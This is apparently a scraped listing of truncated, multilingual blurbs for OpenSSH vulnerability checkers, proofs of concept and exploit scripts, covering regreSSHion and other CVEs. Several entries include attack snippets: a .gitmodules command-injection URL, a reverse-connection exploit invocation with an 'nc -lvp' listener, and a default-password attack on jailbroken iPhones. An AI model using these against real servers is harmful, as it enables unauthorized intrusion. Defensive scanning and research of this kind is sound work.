cve-2024-6387-poc

cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd...

CVE-2024-6387

OpenSSH CVE-2024-6387 Vulnerability Checker This Python script checks if servers are running a vulnerable version of OpenSSH that is susceptible to the CVE-2024-6387 vulnerability. It scans the specified IP addresses or network ranges for the OpenSSH banner and compares it against known vulnerabl...

CVE-2023-25136

CVE-2023-25136 OpenSSH 9.1 vulnerability mass scan and exploit Description OpenSSH server sshd 9.1 introduced a double-free vulnerability during options.kexalgorithms handling. This is fixed in OpenSSH 9.2. The double free can be leveraged, by an unauthenticated remote attacker in the default...

kexkill

The kexkill utility connects to an SSH server and sends a stream of KEXINIT packets. This may cause certain versions of OpenSSH to consume significant amounts of memory. See CVE-2016-8858 for additional details. The latest version of the source code is available from Github:...

CVE-2023-51385_test

Проверка CVE-2023-51385 Сначала нужно добавить следующее в /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p В операторе файла .gitmodules есть инъекция команд root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar После...

SSH-KILLv2

Acerca de SSH-KILLv2 Script Ataca iPhone si el servicio SSH está abierto. Muchos usuarios usan "Open SSH" en dispositivos con jailbreak para transferir archivos entre laptop/PC y iPhone para hacer su vida más fácil, pero el problema aquí es que el tweak "Open SSH" usa la contraseña predeterminada...

regreSSHion-checker

regreSSHion-checker 📜 Description regreSSHion-checker is a lightweight, efficient tool designed to identify servers running vulnerable versions of OpenSSH, specifically targeting the recently discovered regreSSHion vulnerability CVE-2024-6387. This tool facilitates rapid scanning of multiple IP...

CVE-2024-6387-Check

CVE-2024-6387 Checker CVE-2024-6387 Checker is a fast, efficient tool for detecting OpenSSH servers vulnerable to the regreSSHion exploit. It quickly scans multiple IPs, domain names, and CIDR ranges to identify risks and help secure your infrastructure. Installation root@kitploit: wget...

CVE-2024-6387

CVE-2024-6387 regreSSHion Скрипт Python, демонстрирующий концепцию эксплуатации уязвимости regreSSHion. Версия 0.2.1, сборка POC Установка root@kitploit: git clone https://github.com/l-urk/CVE-2024-6387.git root@kitploit: cd CVE-2024-6387 root@kitploit: pip3 install -r requirements.txt...

CVE-2023-38408

CVE-2023-38408 PoC for the recent critical vuln affecting OpenSSH versions 9.3p2 Designed to work seamlessly with TryHackMe's free access lab environment covering this vuln. https://tryhackme.com/room/cve202338408 NOTE: This will not work outside the THM Lab environment...

CVE-2020-15778-Exploit

CVE-2020-15778-Эксплойт Эксплойт для CVE-2020-15778 уязвимость OpenSSH Пример: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 Вам нужно использовать netcat для прослушивания порта перед использованием скрипта Python Пример: nc -lvp 1234 1. Скриншот использования...

CVE-2016-2434

CVE-2016-2434...

jfrog-CVE-2023-25136-OpenSSH_Double-Free

CVE-2023-25136 Proof-of-Concept Overview This is a DoS Proof-of-Concept of OpenSSH 9.1p1 Double-Free Vulnerability CVE-2023-25136. It will trigger the double-free and cause an abort crash. For a comprehensive understanding, check out the accompanying blog post for in-depth details. Dependencies...

CVE-2018-15473

CVE-2018-15473 SSH-Username-Enumeration-Exploit OpenSSH 2.3 7.7 Versione modificata dell'exploit originale: https://www.exploit-db.com/exploits/45233 Convertito in Python3 Aggiunta opzione per wordlist di username Come Eseguire root@kitploit: Ensure that you install the requirements: foo@bar:$ pi...

ssh-audit

ssh-audit ssh-audit ist ein Werkzeug zur Überprüfung von SSH-Servern. Funktionen Unterstützung für SSH1- und SSH2-Protokollserver; Banner auslesen, Gerät oder Software und Betriebssystem erkennen, Komprimierung erkennen; Algorithmen für Schlüsselaustausch, Host-Key, Verschlüsselung und Message...

CVE-2023-51385_poc-test

CVE-2023-51385 poc OpenSSH ProxyCommand RCE poc OpenSSH 9.6 Befehlsinjektions-Schwachstelle PoC Chinesisch 1.vim /.ssh/config oder bearbeite C:/Users/username/.ssh/config unter Windows root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 2. git clone...

CVE-2023-51385_test

Verifica di CVE-2023-51385 Prima è necessario aggiungere quanto segue in /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Nel file .gitmodules è presente un'iniezione di comandi nella dichiarazione root@kitploit: url = ssh://echo helloworld...

CVE-2024-6387-Checker

CVE-2024-6387-Checker Questo strumento scansiona la tua rete alla ricerca di host che eseguono versioni vulnerabili di OpenSSH CVE-2024-6387. Può gestire IP singoli, più IP, intervalli CIDR e file CSV con porte personalizzate. Requisiti Installa le librerie richieste usando pip: root@kitploit: pi...

CVE-2016-6210-Exploit

Questa è la prima versione dell'exploit "weaponized" per CVE-2016-6210 Contesto: Pubblicato da Eddie Harari su Full Disclosure http://seclists.org/fulldisclosure/2016/Jul/51 In breve: Inviando password di grandi dimensioni, un utente remoto può enumerare gli utenti su un sistema che esegue SSHD...

Scanner_CVE_OpenSSH

Scanner per l'identificazione di server con software SSH potenzialmente vulnerabili a CVE-2024-6387 e CVE-2023-48795. CVE Coperte CVE| Nome| Condizione| Severità ---|---|---|--- CVE-2024-6387| regreSSHion| OpenSSH 9.8p1| CRITICAL CVE-2023-48795| Terrapin| OpenSSH 9.6| HIGH CVE-2024-6387 —...